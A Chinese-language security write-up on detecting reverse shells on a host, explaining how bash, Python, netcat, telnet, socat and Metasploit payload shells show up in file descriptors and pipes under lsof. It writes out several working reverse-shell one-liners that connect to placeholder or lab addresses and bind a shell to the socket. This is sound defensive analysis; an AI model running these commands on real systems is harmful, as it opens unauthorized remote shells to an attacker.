基于主机的反弹shell检测思路

bash -i >& /dev/tcp/ip/port 0>&1

可以看到正常情况下文件描述符指向/dev/pts/0（因为linux下一切皆文件，这个文件就代表伪终端或虚拟终端）而反弹shell的情况下文件描述符都是指向远程socket链接，同时用户可能是www、www-data、apache、nginx等用户

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

nc -e /bin/bash 127.0.0.1 7777

下面看一下另一种类型，不同进程之间通过管道相连接，最后通过多次管道定向至bash的输入输出。

随便举个简单例子nc通过管道将远程的输入流定向至/bin/bash

/bin/nc.traditional 10.211.55.2 7777 | /bin/bash

命令的意思是接受来自远程的数据通过管道作为bash的输入

lsof命令看到0也就是标准输入是来自管道，通过id追踪到管道另一端的进程

mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

可以看作是netcat增强版，Ubuntu下默认不预装

反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

补充：SOCK_DGRAM 是无保障的面向消息的socket，主要用于在网络上发广播信息。

可以看出这种类型与上两种是有区别的bash通过管道与socat进程通信，但是管道并不是重定向的标准输入输出、标准错误输出这三个流而是其他的流

然后在程序内部再将该pipe管道定向到0，1，2这三个文件描述符。

这里以生成python为例，其他例如php等原理上都一样，生成payload受害主机上执行。

lsof查看进程描述符的情况。

可以看到python开启了一个远程socket链接，但是没有任何pipe管道指向bash进程，查看msf生成的payload可知只是返回了一个相当于代码执行，并不是真正意义上的交互式shell。

反观其特征就是一个正常进程对外有一个socket链接，特征不足，这种并不好检测。